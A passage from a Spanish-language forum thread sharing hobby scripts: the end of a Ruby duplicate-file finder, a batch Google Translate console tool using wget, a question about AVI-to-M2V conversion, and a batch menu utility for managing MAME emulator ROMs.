   not_resursive = File.join("*.*")
   $files = Dir.glob(not_resursive)
 end
end

logo
errorcontrol
$list = ""

# Listar los archivos del directorio
File.open("#{ENV['TEMP']}\\dir.txt", 'w+') do |file|  
file.puts $files
end

# Comparar el crc de cada archivo listado
File.read("#{ENV['TEMP']}\\dir.txt").each_line { |line|
begin
 file      = File.read(line.strip) ; nil
 file_crc  = Zlib.crc32(file,0).to_s(16)
 file_size = File.size(line.strip)
  if $list[file_crc.to_s]
    print "#{$folder}\\#{line.strip.gsub('/', '\\')}\n#{$list.split(file_crc).first.split(")").last.split("\n\n").last}#{file_crc})\n\n"
  end
 $list << "#{$folder}\\#{line.strip.gsub('/', '\\')}\n(CRC32: #{file_crc}) (BYTES: #{file_size})\n\n"
rescue
 print "Archivo inaccesible #{$folder}\\#{line}"
end
}


__END__


PD: Tiene algunos fallos en los permisos de las carpetas especiales de windows

Saludos.
#898


Una utilidad para traducir frases al vuelo desde la consola.

CitarModo de empleo:
  GTC [Idioma de entrada] [Idioma de salida] [Texto]

Ejemplo:
  GTC ES "Hello World"

(El idioma de entrada se reconoce automaticamente por defecto.)

Idiomas:

AF: Africano    AR: Árabe        AZ: Azerbaijani   BE: Bielorruso
BG: Búlgaro     BN: Bengalés     CA: Catalàn       CS: Checo
CY: Galés       DA: Danés        DE: Alemàn        EL: Griego
EN: Inglés      EO: Esperanto    ES: Espa±ol       ET: Estonio
EU: Euskera     FA: Persa        FI: Finlandés     FR: Francés
GA: Irlandés    GL: Gallego      GU: Gujarati      HI: Hindú
HR: Croata      HT: Haitiano     HU: Húngaro       HY: Armenio
ID: Indonesio   IS: Islandés     IT: Italiano      IW: Hebreo
JA: Japonés     KA: Georgiano    KN: Kanada        KO: Coreano
LA: LatÝn       LT: Lituano      LV: Letón         MK: Macedonio
MS: Malayo      MT: Maltés       NL: Holandés      NO: Noruego
PL: Polaco      PT: Portugués    RO: Rumano        RU: Ruso
SK: Eslovaco    SL: Esloveno     SQ: Albanés       SR: Serbio
SV: Sueco       SW: Suajili      TA: Tamil         TE: Telugu
TH: Tailandés   TL: Tagalo       TR: Turco         UK: Ucraniano
UR: Urdu        VI: Vietnamita   YI: Yiddish
ZH-CN: Chino    (Simplificado)
ZH-TW: Chino    (Tradicional)


IMPORTANTE:
Para usar el script, Es necesario la utilidad wget.exe.
http://sourceforge.net/projects/gnuwin32/files/wget/1.11.4/wget-1.11.4-bin.zip/download PARECE SER QUE NO FUNCIONA
http://www.mediafire.com/?41476m73gbza1aj
(Necesariamente esa versión)

Capturas:
   
   

El code:
@Echo OFF
Title GoogleTranslateConsole v1.3
:: By Elektro H@cker

Wget 1>nul 2>&1
IF %Errorlevel% EQU 9009 (Exit /B 1)

Goto :Errorcontrol

:LOGO
Echo+
Echo:         GGGGGGGGGGGGG  TTTTTTTTTTTTTTTTTTTTTTT          CCCCCCCCCCCCC
Echo:      GGG::::::::::::G  T:::::::::::::::::::::T       CCC::::::::::::C
Echo:    GG:::::::::::::::G  T:::::::::::::::::::::T     CC:::::::::::::::C
Echo:   G:::::GGGGGGGG::::G  T:::::TT:::::::TT:::::T    C:::::CCCCCCCC::::C
Echo:  G:::::G       GGGGGG  TTTTTT  T:::::T  TTTTTT   C:::::C       CCCCCC
Echo: G:::::G                        T:::::T          C:::::C             
Echo: G:::::G                        T:::::T          C:::::C             
Echo: G:::::G    GGGGGGGGGG          T:::::T          C:::::C             
Echo: G:::::G    G::::::::G          T:::::T          C:::::C             
Echo: G:::::G    GGGGG::::G          T:::::T          C:::::C             
Echo: G:::::G        G::::G          T:::::T          C:::::C             
Echo:  G:::::G       G::::G          T:::::T           C:::::C       CCCCCC
Echo:   G:::::GGGGGGGG::::G        TT:::::::TT          C:::::CCCCCCCC::::C
Echo:    GG:::::::::::::::G        T:::::::::T           CC:::::::::::::::C
Echo:      GGG::::::::::::G        T:::::::::T             CCC::::::::::::C
Echo:         GGGGGGGGGGGGG Google TTTTTTTTTTT Translate      CCCCCCCCCCCCC Console
Echo+
Goto :EOF

:HELP
Echo: Modo de empleo: | MORE
Echo:   GTC [Idioma de entrada] [Idioma de salida] [Texto] |MORE
Echo: Ejemplo:  | MORE
Echo:   GTC ES "Hello World" | MORE

Echo: (El idioma de entrada se reconoce automaticamente por defecto.) | MORE

Echo: Idiomas: | MORE
Echo: AF: Africano    AR: µrabe        AZ: Azerbaijani   BE: Bielorruso
Echo: BG: B£lgaro     BN: Bengal,s     CA: Catal...n       CS: Checo
Echo: CY: Gal,s       DA: Dan,s        DE: Alem...n        EL: Griego
Echo: EN: Ingl,s      EO: Esperanto    ES: Espa¤ol       ET: Estonio
Echo: EU: Euskera     FA: Persa        FI: Finland,s     FR: Franc,s
Echo: GA: Irland,s    GL: Gallego      GU: Gujarati      HI: Hind£
Echo: HR: Croata      HT: Haitiano     HU: H£ngaro       HY: Armenio
Echo: ID: Indonesio   IS: Island,s     IT: Italiano      IW: Hebreo
Echo: JA: Japon,s     KA: Georgiano    KN: Kanada        KO: Coreano
Echo: LA: Latín       LT: Lituano      LV: Let¢n         MK: Macedonio
Echo: MS: Malayo      MT: Malt,s       NL: Holand,s      NO: Noruego
Echo: PL: Polaco      PT: Portugu,s    RO: Rumano        RU: Ruso
Echo: SK: Eslovaco    SL: Esloveno     SQ: Alban,s       SR: Serbio
Echo: SV: Sueco       SW: Suajili      TA: Tamil         TE: Telugu
Echo: TH: Tailand,s   TL: Tagalo       TR: Turco         UK: Ucraniano
Echo: UR: Urdu        VI: Vietnamita   YI: Yiddish       
Echo: ZH-CN: Chino    (Simplificado)
Echo: ZH-TW: Chino    (Tradicional)
Exit /B 1

:Errorcontrol
Setlocal Enabledelayedexpansion
Set "Langs=AF:Africano, AR:µrabe, AZ:Azerbaijani, BE:Bielorruso, BG:B£lgaro, BN:Bengal,s, CA:Catal...n, CS:Checo, CY:Gal,s, DA:Dan,s, DE:Alem...n, EL:Griego, EN:Ingl,s, EO:Esperanto, ES:Espa¤ol, ET:Estonio, EU:Euskera, FA:Persa, FI:Finland,s, FR:Franc,s, GA:Irland,s, GL:Gallego, GU:Gujarati, HI:Hind£, HR:Croata, HT:Haitiano, HU:H£ngaro, HY:Armenio, ID:Indonesio, IS:Island,s, IT:Italiano, IW:Hebreo, JA:Japon,s, KA:Georgiano, KN:Kanada, KO:Coreano, LA:Latín, LT:Lituano, LV:Let¢nMK:, Macedonio, MS:Malayo, MT:Malt,s, NL:Holand,s, NO:Noruego, PL:Polaco, PT:Portugu,s, RO:Rumano, RU:Ruso, SK:Eslovaco, SL:Esloveno, SQ:Alban,s, SR:Serbio, SV:Sueco, SW:Suajili, TA:Tamil, TE:Telugu, TH:Tailand,s, TL:Tagalo, TR:Turco, UK:Ucraniano, UR:Urdu, VI:Vietnamita, YI:Yiddish, ZH-CN:Chino Simplificado, ZH-TW:Chino Tradicional"
IF "%~3" EQU "" (
Echo "%LANGS%" | Find /I "%~1:" >NUL
IF !Errorlevel! EQU 1 (Echo Idioma no reconocido & Exit /B 1)
) ELSE (
Echo "%LANGS%" | Find /I "%~1:" >NUL
IF !Errorlevel! EQU 1 (Echo Idioma no reconocido & Exit /B 1)
Echo "%LANGS%" | Find /I "%~2:" >NUL
IF !Errorlevel! EQU 1 (Echo Idioma no reconocido & Exit /B 1)
)
Setlocal Disabledelayedexpansion

:Translate
Call :LOGO
IF "%~1" EQU "" (Start /B CMD /Q %0)
IF "%~2" EQU "" (Goto :HELP)
IF "%~3" EQU "" (Set "LangIN=auto" & Set "LangOUT=%~1" & Set "String=%~2") ELSE (Set "LangIN=%~1" & Set "LangOUT=%~2" & Set "String=%~3")
Set "String=%String: =+%"
Set "String=%String:...=;;%"
Set "String=%String:.=,,%"
Set "String=%String:!=(;)%"
WGET -U "Mozilla/5.0" -qO - "http://translate.google.com/translate_a/t?client=t&text=%STRING%&sl=%LangIN%&tl=%LangOUT%" -O "%TEMP%\GTC.html"
For /F "Tokens=* Delims=;" %%a in ('Type "%TEMP%\GTC.html"') do (Set "Body=%%a")

SET "Cut=%Body:*","=%"
CALL SET "Traduced=%%Body:%Cut%=%%"
SET "Traduced=%Traduced:[[["=%" & REM "
SET "Traduced=%Traduced: , ,=.%"
SET "Traduced=%Traduced: (;)=!%"
SET "Traduced=%Traduced: ( ;)=!%"
SET "Traduced=%Traduced:(;)=!%"
SET "Traduced=%Traduced:","=%"

:Print
Setlocal Enabledelayedexpansion
IF "%~3" EQU "" (
SET "LangINPrint=[AUTO]"
SET "LangOUTPrint=!langs:*%1:=!"
For /F "Tokens=1,* Delims=," %%# in ('Echo !LangOUTPrint!') Do (Set "LangOUTPrint=[%%#]")
) ELSE (
SET "LangINPrint=!langs:*%1:=!"
SET "LangOUTPrint=!langs:*%2:=!"
For /F "Tokens=1,* Delims=," %%# in ('Echo !LangINPrint!') Do (Set "LangINPrint=[%%#]")
For /F "Tokens=1,* Delims=," %%# in ('Echo !LangOUTPrint!') Do (Set "LangOUTPrint=[%%#]")
)
Setlocal Disabledelayedexpansion
Echo: Texto a traducir %LangINPrint% :
IF "%~3" EQU "" (Echo: [+] %~2 | MORE) ELSE (Echo: [+] %~3 | MORE)
Echo: Texto traducido %LangOUTPrint% :
Echo: [+] %Traduced%
Exit /B 0


PD: Cualquier bug o mejora comenten, Gracias.

Salu2.
#899
Hola

Pues me encuentro con ese problema... He buscado y buscado pero no encuentro ningún convertidor AVI a M2V ( En cambio, M2v a AVI hay a patadas... :/ )

Entiendo que AVI es un container, y M2V es un archivo de video sin pistas de audio, Pero digo yo que algún modo habrá, no? Además, Algo a mi favor es que mi AVI no tiene pista de audio...

EDITO: Si al menos supiera que codec necesito para convertir a m2v... lo haría con el vdub y listo xD, Sé que M2V es algo de mpeg... pero ahí me quedo atascado.

Gracias y saludos...
#900


 

Un script para los aficionados a los Arcades (Como yo).

Cuenta con varias utilidades para manejar ciertos aspectos del emulador Mame y/o MameUI32/MameUI64  (Tengo que decir que solo lo he probado con la gui MameUI)

-Se puede arrastrar una rom al bat para ejecutarla. (Con MAME/Mameui no se puede a menos que la ROM esté en el directorio "ROMS"... Por eso empezé a hacer este script.)

Otras cosas que se pueden hacer son:

- Ejecutar una rom escribiendo el nombre.
- Ejecutar una rom al azar.
- Buscar una rom.
- Listar las roms disponibles.
- Eliminar una rom.
- Ejecutar MAME
- Descargar la última base de trucos (cheat.zip)
- Ejecutar un pequeño limpiador/organizador de roms creado por mi.


Notas:

El script tiene que ejecutarse en el directorio donde tiene su mame.exe o mameui32.exe/mameui64.exe

Algunas partes del script requieren ciertos programas para el correcto funcionamiento del code. De todas formas si no tiene ninguna de estas utilidades, No pasa nada, simplemente esa parte se "saltará".

CitarColous    (Para mostrar el scrpt coloreado)
Irfanview  (Para redimensionar las imagenes en el limpiador)
Wget      (Para descargar el cheat.zip)
7z          (Para descomprimir el cheat.zip)



Algunas imagenes:

 

 

 


El code:

@Echo OFF
Title Mame Panel v1.0

:: :: :: :: :: :: :: ::
:: By Elektro H@cker ::
:: :: :: :: :: :: :: ::

:: Configuración :: :: :: :: :: :: :: :: :: :: :: :: :: ::
:: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::

REM Modifica el nombre de los ejecutable si es necesario...

:: Obligatorio:
Set MAME=MameUI64.exe

:: Opcional:
Set COLOUS=%windir%\system32\colous.exe
Set IRFANVIEW=%windir%\system32\i_view32.exe
Set NIRCMD=%windir%\system32\nircmd
Set WGET=%windir%\system32\wget.exe
Set ZIP=%windir%\system32\7z.exe
:: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::

Mode con cols=80 lines=20
%NIRCMD% win center ititle "Mame Panel v1.0" 2>Nul
PUSHD "%~dp0"
IF NOT exist %MAME% (Exit /B 1)
IF exist "%~1" (Goto :Play_New)

:Invaders
call :Logo
%COLOUS% writesec "[7]                               By Elektro H@cker" 2>Nul || Echo:                               By Elektro H@cker
Echo:                                           ÛÛÛÛÛÛÛÛ
Echo:         ÛÛ          ÛÛ                     ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Echo:     ÛÛ    ÛÛ      ÛÛ    ÛÛ                   ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Echo:     ÛÛ  ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ  ÛÛ                   ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Echo:     ÛÛÛÛÛÛ  ÛÛÛÛÛÛ  ÛÛÛÛÛÛ                   ÛÛÛÛÛÛ    ÛÛÛÛ    ÛÛÛÛÛÛ
Echo:       ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ                     ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Echo:         ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ                             ÛÛÛÛ    ÛÛÛÛ
Echo:         ÛÛ          ÛÛ                           ÛÛÛÛ  ÛÛÛÛ  ÛÛÛÛ
Echo:       ÛÛ              ÛÛ                           ÛÛÛÛ    ÛÛÛÛ
Call :Wait
call :Logo
Echo+
Echo:                                                           ÛÛÛÛÛÛÛÛ
Echo:         ÛÛ          ÛÛ                              ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Echo:           ÛÛ      ÛÛ                              ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Echo:         ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ                            ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Echo:       ÛÛÛÛ  ÛÛÛÛÛÛ  ÛÛÛÛ                          ÛÛÛÛÛÛ    ÛÛÛÛ    ÛÛÛÛÛÛ
Echo:     ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ                        ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Echo:     ÛÛ  ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ  ÛÛ                              ÛÛÛÛ    ÛÛÛÛ
Echo:     ÛÛ  ÛÛ          ÛÛ  ÛÛ                            ÛÛÛÛ  ÛÛÛÛ  ÛÛÛÛ
Echo:           ÛÛÛÛ  ÛÛÛÛ                              ÛÛÛÛ                ÛÛÛÛ
%COLOUS% writesec "[7]                               By Elektro H@cker" 2>Nul || Echo:                               By Elektro H@cker
Call :Wait
Set /A Animation+=1
IF %Animation% EQU 6 (Goto :Menu)
Goto :Invaders

:Logo
Cls
Set Rom=
Echo+
Echo:      _______ _______ _______ _______      ______                       __
Echo:     ^|   ^|   ^|   _   ^|   ^|   ^|    ___^|    ^|   __ \.---.-..-----..-----.^|  ^|
Echo:     ^|       ^|       ^|       ^|    ___^|    ^|    __/^|  _  ^|^|     ^|^|  -__^|^|  ^|
Echo:     ^|__^|_^|__^|___^|___^|__^|_^|__^|_______^|    ^|___^|   ^|___._^|^|__^|__^|^|_____^|^|__^|
Echo:
%COLOUS% Writesec "[8]     ÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈÈ" 2>NUL || Echo:     ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Echo+
Goto :EOF

:Wait
ping -n 1 localhost >nul & ping -n 1 localhost >nul & ping -n 1 localhost >nul
ping -n 1 localhost >nul & ping -n 1 localhost >nul & ping -n 1 localhost >nul
ping -n 1 localhost >nul & ping -n 1 localhost >nul & ping -n 1 localhost >nul
ping -n 1 localhost >nul & ping -n 1 localhost >nul & ping -n 1 localhost >nul
ping -n 1 localhost >nul & ping -n 1 localhost >nul & ping -n 1 localhost >nul
Goto :EOF

:Menu
Call :Logo
%COLOUS% writesec "[7]     ([10]1[7]) Jugar rom al azar.               ([10]M[7]) Ejecutar M.A.M.E." 2>Nul && Echo+  || Echo:     (1) Jugar rom al azar.               (M) Ejecutar M.A.M.E.    | MORE
%COLOUS% writesec "[7]     ([10]2[7]) Buscar rom.                      ([10]O[7]) Ir al organizador." 2>Nul && Echo+ || Echo:     (2) Buscar rom.                      (O) Ir al organizador.   | MORE
%COLOUS% writesec "[7]     ([10]3[7]) Listar roms disponibles.         ([10]S[7]) Salir..." 2>Nul && Echo+ && Echo+  || Echo:     (3) Listar roms disponibles.         (S) Salir...             | MORE & Echo+
%COLOUS% writesec "[7] Opcion [10]/[7] Nombre de la rom?" 2>Nul && Echo+                                             || Echo:  ¨Opci¢n / Nombre de la rom? | MORE
%COLOUS% Cursoron 2>Nul
Set /P ROM=^>^>
IF NOT defined ROM (Goto :Menu)
IF "%ROM%" EQU "1" (Goto :Random)
IF "%ROM%" EQU "2" (Goto :Search)
IF "%ROM%" EQU "3" (Goto :List)
IF /I "%ROM%" EQU "M" (Start /B %MAME% && Exit)
IF /I "%ROM%" EQU "O" (Goto :Manager)
IF /I "%ROM%" EQU "S" (Exit /B 0)
Start /B %MAME% %ROM%
Goto :Menu

:Play_New
Move %1 ".\roms\" >Nul
Start /W %MAME% "%~n1"
Echo: Si no te ha gustado la rom, Puedes borrarla... | MORE
Choice /M "¨Borrar la rom %~nx1 ?"
IF errorlevel 1 (Del /Q ".\Roms\%~nx1")
Goto :Menu

:List
Dir /W /P /A-D ".\Roms\*" ^| Find /V "bytes" | MORE /E /C +2
Pause
Goto :Menu

:Random
Setlocal enabledelayedexpansion
Del /Q "%temp%\roms.tmp" 2>Nul
For /F "Tokens=*" %%# in ('Dir /B ".\Roms\*"') do (Echo !Random!!Random!;%%#>>"%temp%\roms.tmp")
For /F "Tokens=2 Delims=;" %%# in ('Type "%temp%\roms.tmp" ^| Sort') do (Start /B %MAME% %%# && Endlocal && Goto :Menu)

:Search
Call :Logo
%COLOUS% writesec "[7]     Busca una rom en tu colecion...      ([10]M[7]) Ejecutar M.A.M.E." 2>Nul && Echo+ || Echo:     Busca una rom en tu colecion...      (M) Ejecutar M.A.M.E. | MORE
%COLOUS% writesec "[7]     Ejemplo: [10]kof[7]                         ([10]V[7]) Volver..." 2>Nul && Echo+  || Echo:     Ejemplo: kof                         (V) Volver...         | MORE
%COLOUS% writesec "[7]                                          ([10]S[7]) Salir..." 2>Nul && Echo+ && Echo+ || Echo:                                          (S) Salir...          | MORE & Echo+
%COLOUS% writesec "[7] Nombre de la rom?" 2>Nul && Echo+                                                     || Echo:  ¨Nombre de la rom? | MORE
%COLOUS% Cursoron 2>Nul
Set /P ROM=^>^>
IF NOT defined ROM (Goto :Search)
IF /I "%ROM%" EQU "M" (Start /B %MAME% && Exit)
IF /I "%ROM%" EQU "V" (Goto :Menu)
IF /I "%ROM%" EQU "S" (Exit /B 0)
Cls
Echo+
%COLOUS% writesec "[7] Buscando roms con el patron [10]*%ROM%*[7] ..." 2>Nul && Echo+ || Echo: Buscando roms con el patr¢n: *%Rom%* ... | MORE
%COLOUS% Cursoron 2>Nul
Dir /B /A ".\Roms\*%rom%*" | MORE
Pause
Goto :Search

:Manager
Call :Logo
%COLOUS% writesec "[7]     ([10]1[7]) Descargar CheatDatabase          ([10]M[7]) Ejecutar M.A.M.E." 2>Nul && Echo+ || Echo:     (1) Descargar CheatDatabase          (M) Ejecutar M.A.M.E. | MORE
%COLOUS% writesec "[7]     ([10]2[7]) Ejecutar el limpiador            ([10]V[7]) Volver..." 2>Nul && Echo+         || Echo:     (2) Ejecutar el limpiador            (V) Volver...         | MORE
%COLOUS% writesec "[7]     ([10]3[7]) Eliminar una rom.                ([10]S[7]) Salir..." 2>Nul && Echo+ && Echo+ || Echo:     (3) Eliminar una rom.                (S) Salir...          | MORE & Echo+
%COLOUS% writesec "[7] Opcion?" 2>Nul && Echo+                                                                      || Echo:  ¨Opci¢n? | MORE
%COLOUS% Cursoron 2>Nul
Set /P ROM=^>^>
IF NOT defined ROM (Goto :Manager)
IF "%ROM%" EQU "1" (Call :Cheats)
IF "%ROM%" EQU "2" (Goto :Cleaner)
IF "%ROM%" EQU "3" (Goto :Delete)
IF /I "%ROM%" EQU "M" (Start /B %MAME% && Exit)
IF /I "%ROM%" EQU "V" (Goto :Menu)
IF /I "%ROM%" EQU "S" (Exit /B 0)
Goto :Manager

:Cheats
Call :Logo
IF NOT exist "%wget%" (Echo Para usar esta opcion necesita instalar wget... | MORE & Pause & Goto :EOF)
IF NOT exist "%zip%"  (Echo Para usar esta opcion necesita instalar 7zip... | MORE & Pause & Goto :EOF)
%COLOUS% writesec "[7] Conectando con la pagina de [10]Pugsy's [7]..." 2>Nul && Echo+ || Echo: Conectando con la pagina de Pugsy's ... | MORE
%WGET% -q -t 3 http://cheat.retrogames.com/ -O "%temp%\mameloader_cheat.html.tmp" 1>Nul
%COLOUS% writesec "[7] Buscando la ultima version del archivo ..." 2>Nul && Echo+ || Echo: Buscando la £ltima versi¢n del archivo ... | MORE
For /F "tokens=3 Delims==>" %%# in ('Type "%temp%\mameloader_cheat.html.tmp" ^| Find /I "XML Cheat Collection for MAME" ^| Find /V /I "ZIP"') Do (Set CheatDatabase=%%#)
%COLOUS% writesec "[7] Descargando [10]%CheatDatabase:~10,-1% [7]..." 2>Nul && Echo+ || Echo: Descargando %CheatDatabase:~10,-1% ... | MORE
%WGET% -q -t 3 "http://cheat.retrogames.com/%CheatDatabase:~1,-1%" -O "%temp%\%CheatDatabase:~10,-1%" 1>Nul
%COLOUS% writesec "[7] Descomprimiendo [10]%CheatDatabase:~10,-1% [7]en la carpeta [10]cheat [7]..." 2>Nul && Echo+ || Echo: Descomprimiendo %CheatDatabase:~10,-1% en la carpeta "cheat" ... | MORE
%ZIP% e "%temp%\%CheatDatabase:~10,-1%" -o"%temp%\" cheat.zip -aoa 1>nul
%ZIP% e "%temp%\cheat.zip" -o".\cheat\" *.xml -aoa 1>nul
Echo: Listo! | MORE
%COLOUS% Cursoron 2>Nul
Pause
Goto :EOF


:Cleaner
Setlocal enabledelayedexpansion
Call :Logo
Echo+
%COLOUS% writesec "[7]El limpiador se encarga de redimensionar las imagenes de la carpeta titles y eliminar los archivos de las demas carpetas que no tengan una rom asociada en la carpeta [10]ROMS[7]." 2>Nul && Echo+ || Echo: El limpiador se encarga de redimensionar las imagenes de la carpeta titles y eliminar los archivos de las demas carpetas que no tengan una rom asociada en la carpeta ROMS. | MORE
%COLOUS% writesec "[7]Los archivos listos para su eliminacion se moveran a la carpeta [10]_Eliminados [7]del directorio de MAME." 2>Nul && Echo+ || Echo: Los archivos listos para su eliminacion se moveran a la carpeta "_Eliminados" del directorio de MAME. | MORE
%COLOUS% Cursoron 2>Nul
Choice /M "¨Ejecutar el limpiador?"
IF !Errorlevel! EQU 2 (Goto :Manager) Else (Call :Logo)
Call :Resizer_title_png
Call :Resizer_title_ico
Call :Clean cfg
Call :Clean cheat
Call :Clean diff
Call :Clean icons
Call :Clean_Folder nvram
Call :Clean snap
Call :Clean titles
Echo: Listo. | MORE
%COLOUS% Cursoron 2>Nul
Pause
Goto :Manager

:Clean
%COLOUS% writesec "[7] Eliminando archivos sin rom asociada en la carpeta: [10]%~1" 2>Nul || Echo: Eliminando archivos sin rom asociada en la carpeta: %~1
FOR /F "Tokens=*" %%a in ('Dir /B /A ".\%~1" ^| Find /V /I "Default.cfg" ^| Find /V /I "output.xml"') do (
Set "Rom=%%a"
IF NOT exist ".\Roms\!Rom:~0,-4!.zip" (
IF NOT exist ".\Roms\!Rom:~0,-4!" (
%COLOUS% writesec "[14] %%a" 2>nul || Echo: %%a
MKDir ".\_Eliminados\%~1" 2>NUL
Move /Y "%~1\%%a" ".\_Eliminados\%~1\" >NUL
)
)
)
Echo+
Goto :EOF

:Clean_Folder
%COLOUS% writesec "[7] Eliminando archivos sin rom asociada en la carpeta: [10]%~1" 2>Nul || Echo: Eliminando archivos sin rom asociada en la carpeta: %~1
FOR /F "Tokens=*" %%a in ('Dir /B /AD ".\%~1" ^| Find /V /I "Default.cfg" ^| Find /V /I "output.xml"') do (
IF NOT exist ".\Roms\%%a.zip" (
%COLOUS% writesec "[14] %%a" 2>nul || Echo: %%a
MKDir ".\_Eliminados\%~1" 2>NUL
Move /Y "%~1\%%a" ".\_Eliminados\%~1\" >NUL
)
)
Echo+
Goto :EOF

:Resizer_title_png
REM Redimensionar titles a 512x512 px (Y formato PNG)
%COLOUS% writesec "[7] Redimensionando los titles a PNG 512x512 px ..." 2>Nul || Echo: Redimensionando los titles a PNG 512x512 px ...
%IRFANVIEW% "%CD%\titles\* /resize=(512,512) /resample /convert=*.png" 2>NUL || IF NOT exist "%IRFANVIEW%" (Echo: Para usar esta opcion necesita instalar Irfanview... | MORE)
Del /Q "%CD%\titles\*.bmp", "%CD%\titles\*.gif", "%CD%\titles\*.ico", "%CD%\titles\*.jpg", "%CD%\titles\*.jpeg", "%CD%\titles\*.tif" 2>Nul
Echo+
Goto :EOF

:Resizer_title_ico
REM Convertir titles a iconos 32x32
%COLOUS% writesec "[7] Convirtiendo los titles a iconos de 32x32 px ..." 2>Nul || Echo: Convirtiendo los titles a iconos de 32x32 px ...
%IRFANVIEW% "%CD%\titles\* /resize=(32,32) /convert=..\icons\*.ico" 2>NUL || IF NOT exist "%IRFANVIEW%" (Echo: Para usar esta opcion necesita instalar Irfanview... | MORE)
Echo+
Goto :EOF

:Delete
Call :Logo
%COLOUS% writesec "[7]     Elimina una rom escribiendo          ([10]M[7]) Ejecutar M.A.M.E." 2>Nul && Echo+        || Echo:     Busca una rom en tu colecion...      (M) Ejecutar M.A.M.E. | MORE
%COLOUS% writesec "[7]     su nombre...                         ([10]V[7]) Volver..." 2>Nul && Echo+                || Echo:     Ejemplo: kof                         (V) Volver...         | MORE
%COLOUS% writesec "[7]     Ejemplo: [10]kof2000[7]                     ([10]S[7]) Salir..." 2>Nul && Echo+ && Echo+ || Echo:                                          (S) Salir...          | MORE & Echo+
%COLOUS% writesec "[7] Nombre de la rom?" 2>Nul && Echo+                                                            || Echo:  ¨Nombre de la rom? | MORE
%COLOUS% Cursoron 2>Nul
Set /P ROM=^>^>
IF NOT defined ROM (Goto :Delete)
IF /I "%ROM%" EQU "M" (Start /B %MAME% && Exit)
IF /I "%ROM%" EQU "V" (Goto :Manager)
IF /I "%ROM%" EQU "S" (Exit /B 0)
Cls
Echo+
Set Rom=%ROM:.zip=%
IF NOT exist ".\Roms\%Rom%.zip" (
%COLOUS% writesec "[7] Rom no encontrada..." 2>Nul && Echo+ || Echo: Rom no encontrada... | MORE
%COLOUS% writesec "[7] Mostrando resultados parecidos:" 2>Nul && Echo+ || Echo: Mostrando resultados parecidos: | MORE
%COLOUS% Cursoron 2>Nul
Dir /B /A ".\Roms\*%rom%*" | MORE
Pause
) Else (
Del /Q ".\Roms\%Rom%.zip"
%COLOUS% writesec "[7] Rom [10]%ROM%.zip [7]eliminada ..." 2>Nul && Echo+ || Echo: Rom %ROM%.zip eliminada ... | MORE
%COLOUS% Cursoron 2>Nul
Pause
)
Goto :Delete


Salu2.: